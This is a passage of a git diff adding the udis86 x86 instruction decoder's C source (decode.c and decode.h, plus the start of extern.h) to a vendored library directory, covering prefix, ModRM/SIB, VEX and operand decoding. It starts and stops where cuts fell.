+ u->pfx_seg = UD_R_GS; + break; + case 0x67: /* adress-size override prefix */ + u->pfx_adr = 0x67; + break; + case 0xF0: + u->pfx_lock = 0xF0; + break; + case 0x66: + u->pfx_opr = 0x66; + break; + case 0xF2: + u->pfx_str = 0xf2; + break; + case 0xF3: + u->pfx_str = 0xf3; + break; + default: + /* consume if rex */ + done = (u->dis_mode == 64 && (curr & 0xF0) == 0x40) ? 0 : 1; + break; + } + } while (!done); + /* rex prefixes in 64bit mode, must be the last prefix */ + if (u->dis_mode == 64 && (last & 0xF0) == 0x40) { + u->pfx_rex = last; + } + return 0; +} + + +/* + * vex_l, vex_w + * Return the vex.L and vex.W bits + */ +static UD_INLINE uint8_t +vex_l(const struct ud *u) +{ + UD_ASSERT(u->vex_op != 0); + return ((u->vex_op == 0xc4 ? u->vex_b2 : u->vex_b1) >> 2) & 1; +} + +static UD_INLINE uint8_t +vex_w(const struct ud *u) +{ + UD_ASSERT(u->vex_op != 0); + return u->vex_op == 0xc4 ? ((u->vex_b2 >> 7) & 1) : 0; +} + + +static UD_INLINE uint8_t +modrm(struct ud * u) +{ + if ( !u->have_modrm ) { + u->modrm = inp_next( u ); + u->modrm_offset = (uint8_t) (u->inp_ctr - 1); + u->have_modrm = 1; + } + return u->modrm; +} + + +static unsigned int +resolve_operand_size(const struct ud* u, ud_operand_size_t osize) +{ + switch (osize) { + case SZ_V: + return u->opr_mode; + case SZ_Z: + return u->opr_mode == 16 ? 16 : 32; + case SZ_Y: + return u->opr_mode == 16 ? 32 : u->opr_mode; + case SZ_RDQ: + return u->dis_mode == 64 ? 64 : 32; + case SZ_X: + UD_ASSERT(u->vex_op != 0); + return (P_VEXL(u->itab_entry->prefix) && vex_l(u)) ? SZ_QQ : SZ_DQ; + default: + return osize; + } +} + + +static int resolve_mnemonic( struct ud* u ) +{ + /* resolve 3dnow weirdness. */ + if ( u->mnemonic == UD_I3dnow ) { + u->mnemonic = ud_itab[ u->le->table[ inp_curr( u ) ] ].mnemonic; + } + /* SWAPGS is only valid in 64bits mode */ + if ( u->mnemonic == UD_Iswapgs && u->dis_mode != 64 ) { + UDERR(u, "swapgs invalid in 64bits mode\n"); + return -1; + } + + if (u->mnemonic == UD_Ixchg) { + if ((u->operand[0].type == UD_OP_REG && u->operand[0].base == UD_R_AX && + u->operand[1].type == UD_OP_REG && u->operand[1].base == UD_R_AX) || + (u->operand[0].type == UD_OP_REG && u->operand[0].base == UD_R_EAX && + u->operand[1].type == UD_OP_REG && u->operand[1].base == UD_R_EAX)) { + u->operand[0].type = UD_NONE; + u->operand[1].type = UD_NONE; + u->mnemonic = UD_Inop; + } + } + + if (u->mnemonic == UD_Inop && u->pfx_repe) { + u->pfx_repe = 0; + u->mnemonic = UD_Ipause; + } + return 0; +} + + +/* ----------------------------------------------------------------------------- + * decode_a()- Decodes operands of the type seg:offset + * ----------------------------------------------------------------------------- + */ +static void +decode_a(struct ud* u, struct ud_operand *op) +{ + if (u->opr_mode == 16) { + /* seg16:off16 */ + op->type = UD_OP_PTR; + op->size = 32; + op->lval.ptr.off = inp_uint16(u); + op->lval.ptr.seg = inp_uint16(u); + } else { + /* seg16:off32 */ + op->type = UD_OP_PTR; + op->size = 48; + op->lval.ptr.off = inp_uint32(u); + op->lval.ptr.seg = inp_uint16(u); + } +} + +/* ----------------------------------------------------------------------------- + * decode_gpr() - Returns decoded General Purpose Register + * ----------------------------------------------------------------------------- + */ +static enum ud_type +decode_gpr(register struct ud* u, unsigned int s, unsigned char rm) +{ + switch (s) { + case 64: + return UD_R_RAX + rm; + case 32: + return UD_R_EAX + rm; + case 16: + return UD_R_AX + rm; + case 8: + if (u->dis_mode == 64 && u->pfx_rex) { + if (rm >= 4) + return UD_R_SPL + (rm-4); + return UD_R_AL + rm; + } else return UD_R_AL + rm; + case 0: + /* invalid size in case of a decode error */ + UD_ASSERT(u->error); + return UD_NONE; + default: + UD_ASSERT(!"invalid operand size"); + return UD_NONE; + } +} + +static void +decode_reg(struct ud *u, + struct ud_operand *opr, + int type, + int num, + int size) +{ + int reg; + size = resolve_operand_size(u, size); + switch (type) { + case REGCLASS_GPR : reg = decode_gpr(u, size, num); break; + case REGCLASS_MMX : reg = UD_R_MM0 + (num & 7); break; + case REGCLASS_XMM : + reg = num + (size == SZ_QQ ? UD_R_YMM0 : UD_R_XMM0); + break; + case REGCLASS_CR : reg = UD_R_CR0 + num; break; + case REGCLASS_DB : reg = UD_R_DR0 + num; break; + case REGCLASS_SEG : { + /* + * Only 6 segment registers, anything else is an error. + */ + if ((num & 7) > 5) { + UDERR(u, "invalid segment register value\n"); + return; + } else { + reg = UD_R_ES + (num & 7); + } + break; + } + default: + UD_ASSERT(!"invalid register type"); + return; + } + opr->type = UD_OP_REG; + opr->base = reg; + opr->size = size; +} + + +/* + * decode_imm + * + * Decode Immediate values. + */ +static void +decode_imm(struct ud* u, unsigned int size, struct ud_operand *op) +{ + op->size = resolve_operand_size(u, size); + op->type = UD_OP_IMM; + + switch (op->size) { + case 8: op->lval.sbyte = inp_uint8(u); break; + case 16: op->lval.uword = inp_uint16(u); break; + case 32: op->lval.udword = inp_uint32(u); break; + case 64: op->lval.uqword = inp_uint64(u); break; + default: return; + } +} + + +/* + * decode_mem_disp + * + * Decode mem address displacement. + */ +static void +decode_mem_disp(struct ud* u, unsigned int size, struct ud_operand *op) +{ + switch (size) { + case 8: + op->offset = 8; + op->lval.ubyte = inp_uint8(u); + break; + case 16: + op->offset = 16; + op->lval.uword = inp_uint16(u); + break; + case 32: + op->offset = 32; + op->lval.udword = inp_uint32(u); + break; + case 64: + op->offset = 64; + op->lval.uqword = inp_uint64(u); + break; + default: + return; + } +} + + +/* + * decode_modrm_reg + * + * Decodes reg field of mod/rm byte + * + */ +static UD_INLINE void +decode_modrm_reg(struct ud *u, + struct ud_operand *operand, + unsigned int type, + unsigned int size) +{ + uint8_t reg = (REX_R(u->_rex) << 3) | MODRM_REG(modrm(u)); + decode_reg(u, operand, type, reg, size); +} + + +/* + * decode_modrm_rm + * + * Decodes rm field of mod/rm byte + * + */ +static void +decode_modrm_rm(struct ud *u, + struct ud_operand *op, + unsigned char type, /* register type */ + unsigned int size) /* operand size */ + +{ + size_t offset = 0; + unsigned char mod, rm; + + /* get mod, r/m and reg fields */ + mod = MODRM_MOD(modrm(u)); + rm = (REX_B(u->_rex) << 3) | MODRM_RM(modrm(u)); + + /* + * If mod is 11b, then the modrm.rm specifies a register. + * + */ + if (mod == 3) { + decode_reg(u, op, type, rm, size); + return; + } + + /* + * !11b => Memory Address + */ + op->type = UD_OP_MEM; + op->size = resolve_operand_size(u, size); + + if (u->adr_mode == 64) { + op->base = UD_R_RAX + rm; + if (mod == 1) { + offset = 8; + } else if (mod == 2) { + offset = 32; + } else if (mod == 0 && (rm & 7) == 5) { + op->base = UD_R_RIP; + offset = 32; + } else { + offset = 0; + } + /* + * Scale-Index-Base (SIB) + */ + if ((rm & 7) == 4) { + inp_next(u); + + op->base = UD_R_RAX + (SIB_B(inp_curr(u)) | (REX_B(u->_rex) << 3)); + op->index = UD_R_RAX + (SIB_I(inp_curr(u)) | (REX_X(u->_rex) << 3)); + /* special conditions for base reference */ + if (op->index == UD_R_RSP) { + op->index = UD_NONE; + op->scale = UD_NONE; + } else { + op->scale = (1 << SIB_S(inp_curr(u))) & ~1; + } + + if (op->base == UD_R_RBP || op->base == UD_R_R13) { + if (mod == 0) { + op->base = UD_NONE; + } + if (mod == 1) { + offset = 8; + } else { + offset = 32; + } + } + } else { + op->scale = UD_NONE; + op->index = UD_NONE; + } + } else if (u->adr_mode == 32) { + op->base = UD_R_EAX + rm; + if (mod == 1) { + offset = 8; + } else if (mod == 2) { + offset = 32; + } else if (mod == 0 && rm == 5) { + op->base = UD_NONE; + offset = 32; + } else { + offset = 0; + } + + /* Scale-Index-Base (SIB) */ + if ((rm & 7) == 4) { + inp_next(u); + + op->scale = (1 << SIB_S(inp_curr(u))) & ~1; + op->index = UD_R_EAX + (SIB_I(inp_curr(u)) | (REX_X(u->pfx_rex) << 3)); + op->base = UD_R_EAX + (SIB_B(inp_curr(u)) | (REX_B(u->pfx_rex) << 3)); + + if (op->index == UD_R_ESP) { + op->index = UD_NONE; + op->scale = UD_NONE; + } + + /* special condition for base reference */ + if (op->base == UD_R_EBP) { + if (mod == 0) { + op->base = UD_NONE; + } + if (mod == 1) { + offset = 8; + } else { + offset = 32; + } + } + } else { + op->scale = UD_NONE; + op->index = UD_NONE; + } + } else { + const unsigned int bases[] = { UD_R_BX, UD_R_BX, UD_R_BP, UD_R_BP, + UD_R_SI, UD_R_DI, UD_R_BP, UD_R_BX }; + const unsigned int indices[] = { UD_R_SI, UD_R_DI, UD_R_SI, UD_R_DI, + UD_NONE, UD_NONE, UD_NONE, UD_NONE }; + op->base = bases[rm & 7]; + op->index = indices[rm & 7]; + op->scale = UD_NONE; + if (mod == 0 && rm == 6) { + offset = 16; + op->base = UD_NONE; + } else if (mod == 1) { + offset = 8; + } else if (mod == 2) { + offset = 16; + } + } + + if (offset) { + decode_mem_disp(u, offset, op); + } else { + op->offset = 0; + } +} + + +/* + * decode_moffset + * Decode offset-only memory operand + */ +static void +decode_moffset(struct ud *u, unsigned int size, struct ud_operand *opr) +{ + opr->type = UD_OP_MEM; + opr->base = UD_NONE; + opr->index = UD_NONE; + opr->scale = UD_NONE; + opr->size = resolve_operand_size(u, size); + decode_mem_disp(u, u->adr_mode, opr); +} + + +static void +decode_vex_vvvv(struct ud *u, struct ud_operand *opr, unsigned size) +{ + uint8_t vvvv; + UD_ASSERT(u->vex_op != 0); + vvvv = ((u->vex_op == 0xc4 ? u->vex_b2 : u->vex_b1) >> 3) & 0xf; + decode_reg(u, opr, REGCLASS_XMM, (0xf & ~vvvv), size); +} + + +/* + * decode_vex_immreg + * Decode source operand encoded in immediate byte [7:4] + */ +static int +decode_vex_immreg(struct ud *u, struct ud_operand *opr, unsigned size) +{ + uint8_t imm = inp_next(u); + uint8_t mask = u->dis_mode == 64 ? 0xf : 0x7; + UD_RETURN_ON_ERROR(u); + UD_ASSERT(u->vex_op != 0); + decode_reg(u, opr, REGCLASS_XMM, mask & (imm >> 4), size); + return 0; +} + + +/* + * decode_operand + * + * Decodes a single operand. + * Returns the type of the operand (UD_NONE if none) + */ +static int +decode_operand(struct ud *u, + struct ud_operand *operand, + enum ud_operand_code type, + unsigned int size) +{ + operand->type = UD_NONE; + operand->_oprcode = type; + + switch (type) { + case OP_A : + decode_a(u, operand); + break; + case OP_MR: + decode_modrm_rm(u, operand, REGCLASS_GPR, + MODRM_MOD(modrm(u)) == 3 ? + Mx_reg_size(size) : Mx_mem_size(size)); + break; + case OP_F: + u->br_far = 1; + /* intended fall through */ + case OP_M: + if (MODRM_MOD(modrm(u)) == 3) { + UDERR(u, "expected modrm.mod != 3\n"); + } + /* intended fall through */ + case OP_E: + decode_modrm_rm(u, operand, REGCLASS_GPR, size); + break; + case OP_G: + decode_modrm_reg(u, operand, REGCLASS_GPR, size); + break; + case OP_sI: + case OP_I: + decode_imm(u, size, operand); + break; + case OP_I1: + operand->type = UD_OP_CONST; + operand->lval.udword = 1; + break; + case OP_N: + if (MODRM_MOD(modrm(u)) != 3) { + UDERR(u, "expected modrm.mod == 3\n"); + } + /* intended fall through */ + case OP_Q: + decode_modrm_rm(u, operand, REGCLASS_MMX, size); + break; + case OP_P: + decode_modrm_reg(u, operand, REGCLASS_MMX, size); + break; + case OP_U: + if (MODRM_MOD(modrm(u)) != 3) { + UDERR(u, "expected modrm.mod == 3\n"); + } + /* intended fall through */ + case OP_W: + decode_modrm_rm(u, operand, REGCLASS_XMM, size); + break; + case OP_V: + decode_modrm_reg(u, operand, REGCLASS_XMM, size); + break; + case OP_H: + decode_vex_vvvv(u, operand, size); + break; + case OP_MU: + decode_modrm_rm(u, operand, REGCLASS_XMM, + MODRM_MOD(modrm(u)) == 3 ? + Mx_reg_size(size) : Mx_mem_size(size)); + break; + case OP_S: + decode_modrm_reg(u, operand, REGCLASS_SEG, size); + break; + case OP_O: + decode_moffset(u, size, operand); + break; + case OP_R0: + case OP_R1: + case OP_R2: + case OP_R3: + case OP_R4: + case OP_R5: + case OP_R6: + case OP_R7: + decode_reg(u, operand, REGCLASS_GPR, + (REX_B(u->_rex) << 3) | (type - OP_R0), size); + break; + case OP_AL: + case OP_AX: + case OP_eAX: + case OP_rAX: + decode_reg(u, operand, REGCLASS_GPR, 0, size); + break; + case OP_CL: + case OP_CX: + case OP_eCX: + decode_reg(u, operand, REGCLASS_GPR, 1, size); + break; + case OP_DL: + case OP_DX: + case OP_eDX: + decode_reg(u, operand, REGCLASS_GPR, 2, size); + break; + case OP_ES: + case OP_CS: + case OP_DS: + case OP_SS: + case OP_FS: + case OP_GS: + /* in 64bits mode, only fs and gs are allowed */ + if (u->dis_mode == 64) { + if (type != OP_FS && type != OP_GS) { + UDERR(u, "invalid segment register in 64bits\n"); + } + } + operand->type = UD_OP_REG; + operand->base = (type - OP_ES) + UD_R_ES; + operand->size = 16; + break; + case OP_J : + decode_imm(u, size, operand); + operand->type = UD_OP_JIMM; + break ; + case OP_R : + if (MODRM_MOD(modrm(u)) != 3) { + UDERR(u, "expected modrm.mod == 3\n"); + } + decode_modrm_rm(u, operand, REGCLASS_GPR, size); + break; + case OP_C: + decode_modrm_reg(u, operand, REGCLASS_CR, size); + break; + case OP_D: + decode_modrm_reg(u, operand, REGCLASS_DB, size); + break; + case OP_I3 : + operand->type = UD_OP_CONST; + operand->lval.sbyte = 3; + break; + case OP_ST0: + case OP_ST1: + case OP_ST2: + case OP_ST3: + case OP_ST4: + case OP_ST5: + case OP_ST6: + case OP_ST7: + operand->type = UD_OP_REG; + operand->base = (type - OP_ST0) + UD_R_ST0; + operand->size = 80; + break; + case OP_L: + decode_vex_immreg(u, operand, size); + break; + default : + operand->type = UD_NONE; + break; + } + return operand->type; +} + + +/* + * decode_operands + * + * Disassemble upto 3 operands of the current instruction being + * disassembled. By the end of the function, the operand fields + * of the ud structure will have been filled. + */ +static int +decode_operands(struct ud* u) +{ + decode_operand(u, &u->operand[0], + u->itab_entry->operand1.type, + u->itab_entry->operand1.size); + if (u->operand[0].type != UD_NONE) { + decode_operand(u, &u->operand[1], + u->itab_entry->operand2.type, + u->itab_entry->operand2.size); + } + if (u->operand[1].type != UD_NONE) { + decode_operand(u, &u->operand[2], + u->itab_entry->operand3.type, + u->itab_entry->operand3.size); + } + if (u->operand[2].type != UD_NONE) { + decode_operand(u, &u->operand[3], + u->itab_entry->operand4.type, + u->itab_entry->operand4.size); + } + return 0; +} + +/* ----------------------------------------------------------------------------- + * clear_insn() - clear instruction structure + * ----------------------------------------------------------------------------- + */ +static void +clear_insn(register struct ud* u) +{ + u->error = 0; + u->pfx_seg = 0; + u->pfx_opr = 0; + u->pfx_adr = 0; + u->pfx_lock = 0; + u->pfx_repne = 0; + u->pfx_rep = 0; + u->pfx_repe = 0; + u->pfx_rex = 0; + u->pfx_str = 0; + u->mnemonic = UD_Inone; + u->itab_entry = NULL; + u->have_modrm = 0; + u->br_far = 0; + u->vex_op = 0; + u->_rex = 0; + u->operand[0].type = UD_NONE; + u->operand[1].type = UD_NONE; + u->operand[2].type = UD_NONE; + u->operand[3].type = UD_NONE; +} + + +static UD_INLINE int +resolve_pfx_str(struct ud* u) +{ + if (u->pfx_str == 0xf3) { + if (P_STR(u->itab_entry->prefix)) { + u->pfx_rep = 0xf3; + } else { + u->pfx_repe = 0xf3; + } + } else if (u->pfx_str == 0xf2) { + u->pfx_repne = 0xf3; + } + return 0; +} + + +static int +resolve_mode( struct ud* u ) +{ + int default64; + /* if in error state, bail out */ + if ( u->error ) return -1; + + /* propagate prefix effects */ + if ( u->dis_mode == 64 ) { /* set 64bit-mode flags */ + + /* Check validity of instruction m64 */ + if ( P_INV64( u->itab_entry->prefix ) ) { + UDERR(u, "instruction invalid in 64bits\n"); + return -1; + } + + /* compute effective rex based on, + * - vex prefix (if any) + * - rex prefix (if any, and not vex) + * - allowed prefixes specified by the opcode map + */ + if (u->vex_op == 0xc4) { + /* vex has rex.rxb in 1's complement */ + u->_rex = ((~(u->vex_b1 >> 5) & 0x7) /* rex.0rxb */ | + ((u->vex_b2 >> 4) & 0x8) /* rex.w000 */); + } else if (u->vex_op == 0xc5) { + /* vex has rex.r in 1's complement */ + u->_rex = (~(u->vex_b1 >> 5)) & 4; + } else { + UD_ASSERT(u->vex_op == 0); + u->_rex = u->pfx_rex; + } + u->_rex &= REX_PFX_MASK(u->itab_entry->prefix); + + /* whether this instruction has a default operand size of + * 64bit, also hardcoded into the opcode map. + */ + default64 = P_DEF64( u->itab_entry->prefix ); + /* calculate effective operand size */ + if (REX_W(u->_rex)) { + u->opr_mode = 64; + } else if ( u->pfx_opr ) { + u->opr_mode = 16; + } else { + /* unless the default opr size of instruction is 64, + * the effective operand size in the absence of rex.w + * prefix is 32. + */ + u->opr_mode = default64 ? 64 : 32; + } + + /* calculate effective address size */ + u->adr_mode = (u->pfx_adr) ? 32 : 64; + } else if ( u->dis_mode == 32 ) { /* set 32bit-mode flags */ + u->opr_mode = ( u->pfx_opr ) ? 16 : 32; + u->adr_mode = ( u->pfx_adr ) ? 16 : 32; + } else if ( u->dis_mode == 16 ) { /* set 16bit-mode flags */ + u->opr_mode = ( u->pfx_opr ) ? 32 : 16; + u->adr_mode = ( u->pfx_adr ) ? 32 : 16; + } + + return 0; +} + + +static UD_INLINE int +decode_insn(struct ud *u, uint16_t ptr) +{ + UD_ASSERT((ptr & 0x8000) == 0); + u->itab_entry = &ud_itab[ ptr ]; + u->mnemonic = u->itab_entry->mnemonic; + return (resolve_pfx_str(u) == 0 && + resolve_mode(u) == 0 && + decode_operands(u) == 0 && + resolve_mnemonic(u) == 0) ? 0 : -1; +} + + +/* + * decode_3dnow() + * + * Decoding 3dnow is a little tricky because of its strange opcode + * structure. The final opcode disambiguation depends on the last + * byte that comes after the operands have been decoded. Fortunately, + * all 3dnow instructions have the same set of operand types. So we + * go ahead and decode the instruction by picking an arbitrarily chosen + * valid entry in the table, decode the operands, and read the final + * byte to resolve the menmonic. + */ +static UD_INLINE int +decode_3dnow(struct ud* u) +{ + uint16_t ptr; + UD_ASSERT(u->le->type == UD_TAB__OPC_3DNOW); + UD_ASSERT(u->le->table[0xc] != 0); + decode_insn(u, u->le->table[0xc]); + inp_next(u); + if (u->error) { + return -1; + } + ptr = u->le->table[inp_curr(u)]; + UD_ASSERT((ptr & 0x8000) == 0); + u->mnemonic = ud_itab[ptr].mnemonic; + return 0; +} + + +static int +decode_ssepfx(struct ud *u) +{ + uint8_t idx; + uint8_t pfx; + + /* + * String prefixes (f2, f3) take precedence over operand + * size prefix (66). + */ + pfx = u->pfx_str; + if (pfx == 0) { + pfx = u->pfx_opr; + } + idx = ((pfx & 0xf) + 1) / 2; + if (u->le->table[idx] == 0) { + idx = 0; + } + if (idx && u->le->table[idx] != 0) { + /* + * "Consume" the prefix as a part of the opcode, so it is no + * longer exported as an instruction prefix. + */ + u->pfx_str = 0; + if (pfx == 0x66) { + /* + * consume "66" only if it was used for decoding, leaving + * it to be used as an operands size override for some + * simd instructions. + */ + u->pfx_opr = 0; + } + } + return decode_ext(u, u->le->table[idx]); +} + + +static int +decode_vex(struct ud *u) +{ + uint8_t index; + if (u->dis_mode != 64 && MODRM_MOD(inp_peek(u)) != 0x3) { + index = 0; + } else { + u->vex_op = inp_curr(u); + u->vex_b1 = inp_next(u); + if (u->vex_op == 0xc4) { + uint8_t pp, m; + /* 3-byte vex */ + u->vex_b2 = inp_next(u); + UD_RETURN_ON_ERROR(u); + m = u->vex_b1 & 0x1f; + if (m == 0 || m > 3) { + UD_RETURN_WITH_ERROR(u, "reserved vex.m-mmmm value"); + } + pp = u->vex_b2 & 0x3; + index = (pp << 2) | m; + } else { + /* 2-byte vex */ + UD_ASSERT(u->vex_op == 0xc5); + index = 0x1 | ((u->vex_b1 & 0x3) << 2); + } + } + return decode_ext(u, u->le->table[index]); +} + + +/* + * decode_ext() + * + * Decode opcode extensions (if any) + */ +static int +decode_ext(struct ud *u, uint16_t ptr) +{ + uint8_t idx = 0; + if ((ptr & 0x8000) == 0) { + return decode_insn(u, ptr); + } + u->le = &ud_lookup_table_list[(~0x8000 & ptr)]; + if (u->le->type == UD_TAB__OPC_3DNOW) { + return decode_3dnow(u); + } + + switch (u->le->type) { + case UD_TAB__OPC_MOD: + /* !11 = 0, 11 = 1 */ + idx = (MODRM_MOD(modrm(u)) + 1) / 4; + break; + /* disassembly mode/operand size/address size based tables. + * 16 = 0,, 32 = 1, 64 = 2 + */ + case UD_TAB__OPC_MODE: + idx = u->dis_mode != 64 ? 0 : 1; + break; + case UD_TAB__OPC_OSIZE: + idx = eff_opr_mode(u->dis_mode, REX_W(u->pfx_rex), u->pfx_opr) / 32; + break; + case UD_TAB__OPC_ASIZE: + idx = eff_adr_mode(u->dis_mode, u->pfx_adr) / 32; + break; + case UD_TAB__OPC_X87: + idx = modrm(u) - 0xC0; + break; + case UD_TAB__OPC_VENDOR: + if (u->vendor == UD_VENDOR_ANY) { + /* choose a valid entry */ + idx = (u->le->table[idx] != 0) ? 0 : 1; + } else if (u->vendor == UD_VENDOR_AMD) { + idx = 0; + } else { + idx = 1; + } + break; + case UD_TAB__OPC_RM: + idx = MODRM_RM(modrm(u)); + break; + case UD_TAB__OPC_REG: + idx = MODRM_REG(modrm(u)); + break; + case UD_TAB__OPC_SSE: + return decode_ssepfx(u); + case UD_TAB__OPC_VEX: + return decode_vex(u); + case UD_TAB__OPC_VEX_W: + idx = vex_w(u); + break; + case UD_TAB__OPC_VEX_L: + idx = vex_l(u); + break; + case UD_TAB__OPC_TABLE: + inp_next(u); + return decode_opcode(u); + default: + UD_ASSERT(!"not reached"); + break; + } + + return decode_ext(u, u->le->table[idx]); +} + + +static int +decode_opcode(struct ud *u) +{ + uint16_t ptr; + UD_ASSERT(u->le->type == UD_TAB__OPC_TABLE); + UD_RETURN_ON_ERROR(u); + ptr = u->le->table[inp_curr(u)]; + return decode_ext(u, ptr); +} + + +/* ============================================================================= + * ud_decode() - Instruction decoder. Returns the number of bytes decoded. + * ============================================================================= + */ +unsigned int +ud_decode(struct ud *u) +{ + inp_start(u); + clear_insn(u); + u->le = &ud_lookup_table_list[0]; + u->error = decode_prefixes(u) == -1 || + decode_opcode(u) == -1 || + u->error; + /* Handle decode error. */ + if (u->error) { + /* clear out the decode data. */ + clear_insn(u); + /* mark the sequence of bytes as invalid. */ + u->itab_entry = &ud_itab[0]; /* entry 0 is invalid */ + u->mnemonic = u->itab_entry->mnemonic; + } + + /* maybe this stray segment override byte + * should be spewed out? + */ + if ( !P_SEG( u->itab_entry->prefix ) && + u->operand[0].type != UD_OP_MEM && + u->operand[1].type != UD_OP_MEM ) + u->pfx_seg = 0; + + u->insn_offset = u->pc; /* set offset of instruction */ + u->asm_buf_fill = 0; /* set translation buffer index to 0 */ + u->pc += u->inp_ctr; /* move program counter by bytes decoded */ + + /* return number of bytes disassembled. */ + return u->inp_ctr; +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/decode.h b/lib/libudis86-sys/libudis86/decode.h new file mode 100644 index 0000000..3949c4e --- /dev/null +++ b/lib/libudis86-sys/libudis86/decode.h @@ -0,0 +1,197 @@ +/* udis86 - libudis86/decode.h + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_DECODE_H +#define UD_DECODE_H + +#include "types.h" +#include "udint.h" +#include "itab.h" + +#define MAX_INSN_LENGTH 15 + +/* itab prefix bits */ +#define P_none ( 0 ) + +#define P_inv64 ( 1 << 0 ) +#define P_INV64(n) ( ( n >> 0 ) & 1 ) +#define P_def64 ( 1 << 1 ) +#define P_DEF64(n) ( ( n >> 1 ) & 1 ) + +#define P_oso ( 1 << 2 ) +#define P_OSO(n) ( ( n >> 2 ) & 1 ) +#define P_aso ( 1 << 3 ) +#define P_ASO(n) ( ( n >> 3 ) & 1 ) + +#define P_rexb ( 1 << 4 ) +#define P_REXB(n) ( ( n >> 4 ) & 1 ) +#define P_rexw ( 1 << 5 ) +#define P_REXW(n) ( ( n >> 5 ) & 1 ) +#define P_rexr ( 1 << 6 ) +#define P_REXR(n) ( ( n >> 6 ) & 1 ) +#define P_rexx ( 1 << 7 ) +#define P_REXX(n) ( ( n >> 7 ) & 1 ) + +#define P_seg ( 1 << 8 ) +#define P_SEG(n) ( ( n >> 8 ) & 1 ) + +#define P_vexl ( 1 << 9 ) +#define P_VEXL(n) ( ( n >> 9 ) & 1 ) +#define P_vexw ( 1 << 10 ) +#define P_VEXW(n) ( ( n >> 10 ) & 1 ) + +#define P_str ( 1 << 11 ) +#define P_STR(n) ( ( n >> 11 ) & 1 ) +#define P_strz ( 1 << 12 ) +#define P_STR_ZF(n) ( ( n >> 12 ) & 1 ) + +/* operand type constants -- order is important! */ + +enum ud_operand_code { + OP_NONE, + + OP_A, OP_E, OP_M, OP_G, + OP_I, OP_F, + + OP_R0, OP_R1, OP_R2, OP_R3, + OP_R4, OP_R5, OP_R6, OP_R7, + + OP_AL, OP_CL, OP_DL, + OP_AX, OP_CX, OP_DX, + OP_eAX, OP_eCX, OP_eDX, + OP_rAX, OP_rCX, OP_rDX, + + OP_ES, OP_CS, OP_SS, OP_DS, + OP_FS, OP_GS, + + OP_ST0, OP_ST1, OP_ST2, OP_ST3, + OP_ST4, OP_ST5, OP_ST6, OP_ST7, + + OP_J, OP_S, OP_O, + OP_I1, OP_I3, OP_sI, + + OP_V, OP_W, OP_Q, OP_P, + OP_U, OP_N, OP_MU, OP_H, + OP_L, + + OP_R, OP_C, OP_D, + + OP_MR +} UD_ATTR_PACKED; + + +/* + * Operand size constants + * + * Symbolic constants for various operand sizes. Some of these constants + * are given a value equal to the width of the data (SZ_B == 8), such + * that they maybe used interchangeably in the internals. Modifying them + * will most certainly break things! + */ +typedef uint16_t ud_operand_size_t; + +#define SZ_NA 0 +#define SZ_Z 1 +#define SZ_V 2 +#define SZ_Y 3 +#define SZ_X 4 +#define SZ_RDQ 7 +#define SZ_B 8 +#define SZ_W 16 +#define SZ_D 32 +#define SZ_Q 64 +#define SZ_T 80 +#define SZ_O 12 +#define SZ_DQ 128 /* double quad */ +#define SZ_QQ 256 /* quad quad */ + +/* + * Complex size types; that encode sizes for operands of type MR (memory or + * register); for internal use only. Id space above 256. + */ +#define SZ_BD ((SZ_B << 8) | SZ_D) +#define SZ_BV ((SZ_B << 8) | SZ_V) +#define SZ_WD ((SZ_W << 8) | SZ_D) +#define SZ_WV ((SZ_W << 8) | SZ_V) +#define SZ_WY ((SZ_W << 8) | SZ_Y) +#define SZ_DY ((SZ_D << 8) | SZ_Y) +#define SZ_WO ((SZ_W << 8) | SZ_O) +#define SZ_DO ((SZ_D << 8) | SZ_O) +#define SZ_QO ((SZ_Q << 8) | SZ_O) + + +/* resolve complex size type. + */ +static UD_INLINE ud_operand_size_t +Mx_mem_size(ud_operand_size_t size) +{ + return (size >> 8) & 0xff; +} + +static UD_INLINE ud_operand_size_t +Mx_reg_size(ud_operand_size_t size) +{ + return size & 0xff; +} + +/* A single operand of an entry in the instruction table. + * (internal use only) + */ +struct ud_itab_entry_operand +{ + enum ud_operand_code type; + ud_operand_size_t size; +}; + + +/* A single entry in an instruction table. + *(internal use only) + */ +struct ud_itab_entry +{ + enum ud_mnemonic_code mnemonic; + struct ud_itab_entry_operand operand1; + struct ud_itab_entry_operand operand2; + struct ud_itab_entry_operand operand3; + struct ud_itab_entry_operand operand4; + uint32_t prefix; +}; + +struct ud_lookup_table_list_entry { + const uint16_t *table; + enum ud_table_type type; + const char *meta; +}; + +extern struct ud_itab_entry ud_itab[]; +extern struct ud_lookup_table_list_entry ud_lookup_table_list[]; + +#endif /* UD_DECODE_H */ + +/* vim:cindent + * vim:expandtab + * vim:ts=4 + * vim:sw=4 + */ diff --git a/lib/libudis86-sys/libudis86/extern.h b/lib/libudis86-sys/libudis86/extern.h new file mode 100644 index 0000000..71a01fd --- /dev/null +++ b/lib/libudis86-sys/libudis86/extern.h @@ -0,0 +1,113 @@ +/* udis86 - libudis86/extern.h + * + * Copyright (c) 2002-2009, 2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are 